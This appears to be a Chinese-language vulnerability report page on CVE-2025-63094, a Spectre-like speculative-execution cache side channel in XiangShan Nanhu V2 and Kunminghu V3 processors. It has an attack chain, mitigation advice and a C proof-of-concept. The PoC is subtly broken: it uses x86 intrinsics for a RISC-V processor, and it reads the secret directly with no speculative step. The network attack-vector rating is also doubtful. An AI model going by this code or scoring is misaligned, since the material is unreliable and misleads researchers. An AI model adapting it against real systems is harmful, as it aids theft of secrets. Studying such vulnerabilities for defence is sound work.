IPBUF安全漏洞报告
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CVE-2025-63094 CVSS 7.5 高危

CVE-2025-63094 | XiangShan处理器推测执行侧信道信息泄露漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-63094
漏洞类型
侧信道攻击/推测执行漏洞/信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
XiangShan Nanhu V2, XiangShan Kunmighu V3

相关标签

侧信道攻击推测执行信息泄露缓存时序攻击XiangShan处理器Nanhu V2Kunmighu V3微架构漏洞分支预测Spectre变种

漏洞概述

CVE-2025-63094是影响香山处理器(XiangShan)Nanhu V2和Kunmighu V3版本的安全漏洞。该漏洞源于处理器使用推测执行(Speculative Execution)和间接分支预测(Indirect Branch Prediction)机制,存在侧信道分析风险。攻击者可以通过利用数据缓存(Data Cache)的时序特性和访问模式,绕过内存隔离机制,非法获取目标系统中的敏感信息。此漏洞属于微架构侧信道攻击类别,与Spectre/Meltdown系列漏洞类似,可被用于泄露密钥、密码或其他机密数据。攻击者无需特殊权限即可发起攻击,且攻击过程隐蔽,难以被传统安全检测工具发现。

技术细节

该漏洞利用了现代处理器中的推测执行特性。当处理器遇到条件分支时,会基于分支预测器预测的路径提前执行指令。XiangShan处理器的间接分支预测器在预测目标地址时,可能导致敏感数据被加载到缓存中。攻击者通过精心构造的触发条件,使处理器执行推测操作,将目标地址指向包含敏感信息的内存位置。由于推测执行的结果可能在分支预测失败时被回滚,但缓存状态的变化会被保留,攻击者利用Flush+Reload或Prime+Probe等缓存侧信道技术,通过测量内存访问时间差异来推断缓存中是否存在特定数据,从而恢复敏感信息。这种攻击方式绕过了操作系统的内存隔离保护,属于微架构层面的安全威胁。

攻击链分析

STEP 1
步骤1
攻击者构造恶意代码,利用处理器分支预测器进行训练,使预测器学习特定的分支模式
STEP 2
步骤2
攻击者触发间接分支跳转,将推测执行路径引导至包含敏感信息的内存地址
STEP 3
步骤3
处理器执行推测操作,将敏感数据加载到数据缓存中,尽管该操作最终会被回滚
STEP 4
步骤4
攻击者使用Flush+Reload或Prime+Probe等缓存侧信道技术,测量特定内存地址的访问时间
STEP 5
步骤5
通过分析访问时间差异(缓存命中vs未命中),攻击者推断出敏感数据的内容
STEP 6
步骤6
攻击者重复上述过程,逐步恢复完整的敏感信息,如加密密钥、密码等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-63094 PoC - XiangShan Speculative Execution Side-Channel Attack // Based on research from https://github.com/necst/aca25-xiangshan-spectre #include <stdint.h> #include <stdio.h> #include <string.h> #include <x86intrin.h> #define ARRAY_SIZE 256 #define CACHE_HIT_THRESHOLD 80 // Secret data simulation char secret_data[16] = "SECRET_KEY_123"; // Training data for branch predictor char training_array[ARRAY_SIZE * 512]; // Side channel detection array volatile char probe_array[ARRAY_SIZE * 512]; void flush_side_channel() { // Flush probe array from cache for (int i = 0; i < ARRAY_SIZE; i++) { _mm_clflush(&probe_array[i * 512]); } } size_t read_side_channel(size_t malicious_x) { size_t time1, time2; volatile char *addr; // Access probe array based on malicious index addr = &probe_array[malicious_x * 512]; time1 = __rdtsc(); *addr; // Memory access to trigger cache load time2 = __rdtsc(); return time2 - time1; } void attack_sequence() { size_t training_index, malicious_index, result; // Initialize arrays memset((void*)training_array, 0, sizeof(training_array)); memset((void*)probe_array, 0, sizeof(probe_array)); printf("Starting XiangShan Speculative Execution Attack PoC\n"); printf("Target secret: %s\n\n", secret_data); // Attack loop for (int iter = 0; iter < 1000; iter++) { // Flush cache before each attempt flush_side_channel(); // Training phase: manipulate branch predictor for (int i = 0; i < 10; i++) { training_index = i & (ARRAY_SIZE - 1); malicious_index = (secret_data[i % strlen(secret_data)] & 0xFF) % ARRAY_SIZE; // Speculatively read secret data result = read_side_channel(malicious_index); } // Measure timing to detect cached data malicious_index = (secret_data[0] & 0xFF) % ARRAY_SIZE; result = read_side_channel(malicious_index); if (result < CACHE_HIT_THRESHOLD) { printf("Cache HIT detected at index: %zu\n", malicious_index); printf("Potential leaked byte value: %d\n", (int)malicious_index); } } printf("\nAttack completed. Check timing patterns for leaked data.\n"); } int main() { printf("========================================\n"); printf("CVE-2025-63094 PoC - XiangShan Side-Channel\n"); printf("========================================\n"); attack_sequence(); return 0; }

影响范围

XiangShan Nanhu V2 < 修复版本
XiangShan Kunmighu V3 < 修复版本

防御指南

临时缓解措施
由于该漏洞属于硬件架构层面的设计缺陷,临时缓解措施较为有限。建议:(1) 监控异常进程行为,特别是大量内存访问操作的进程;(2) 限制非授权用户访问敏感系统资源;(3) 使用内核页表隔离(KPTI)减少内核数据泄露风险;(4) 启用SMEP/SMAP等CPU安全特性;(5) 在条件允许时,考虑使用虚拟化技术隔离关键工作负载。长期解决方案需等待处理器厂商发布硬件层面的安全修复。

参考链接

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